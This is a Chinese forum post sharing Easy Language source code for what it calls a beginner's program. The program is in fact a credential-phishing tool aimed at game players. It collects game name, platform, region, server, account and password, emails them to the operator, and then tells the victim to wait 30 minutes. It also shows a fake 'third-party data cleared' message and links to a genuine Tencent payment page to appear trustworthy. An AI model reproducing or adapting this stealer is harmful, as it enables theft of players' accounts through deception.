本帖最后由 zssm 于 2019-8-25 15:32 编辑
纯新手,不喜勿喷,需要自己加载皮肤模块,只能上传3MB的文件附件上不上来,很伤心啊!源码太大,原理是 第一个启动窗口需要获取一个码,正确则跳转以下这条源码!别喷我啦!
.版本 2
.支持库 internet
.支持库 eAPI
.程序集 窗口程序集_窗口1
.子程序 _窗口1_创建完毕
_启动窗口.销毁 ()
皮肤_加载 (#皮肤_WIN10修复, , )
.子程序 _按钮1_被单击
.如果真 (编辑框6.内容 = “”)
信息框 (“请输入游戏名称”, #警告图标, , )
返回 ()
.如果真结束
.如果真 (组合框1.内容 = “”)
信息框 (“请输入游戏平台”, #警告图标, , )
返回 ()
.如果真结束
.如果真 (编辑框4.内容 = “”)
信息框 (“请输入大区”, #警告图标, , )
返回 ()
.如果真结束
.如果真 (编辑框3.内容 = “”)
信息框 (“请输入服务区”, #警告图标, , )
返回 ()
.如果真结束
.如果真 (编辑框5.内容 = “”)
信息框 (“请输入”, #警告图标, , )
返回 ()
.如果真结束
.如果真 (编辑框1.内容 = “”)
信息框 (“请输入ZH”, #警告图标, , )
返回 ()
.如果真结束
.如果真 (编辑框2.内容 = “”)
信息框 (“请输入MM”, #警告图标, , )
返回 ()
.如果真结束
连接发信服务器 (“ ”, , “ ”, “ ”, 2000)
发送邮件 (“已被使用”, “游戏名:” + 编辑框6.内容 + #换行符 + “游戏平台:” + 组合框1.内容 + #换行符 + “大区:” + 编辑框4.内容 + #换行符 + “小区:” + 编辑框3.内容 + #换行符 + “ZH:” + 编辑框1.内容 + #换行符 + “MM:” + 编辑框2.内容, “ ”, , , “ ”, “ ”)
信息框 (“成功,请退出等待30分钟”, #信息图标, , )
.子程序 _按钮2_被单击
延时 (2000)
信息框 (“已为你清除第三方数据”, #信息图标, , )
窗口1.销毁 ()
.子程序 _图片框1_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
打开指定网址 (“https://pay.qq.com/service/index.shtml?aid=pay.index.header.service&ADTAG=pay.index.header.service”)
|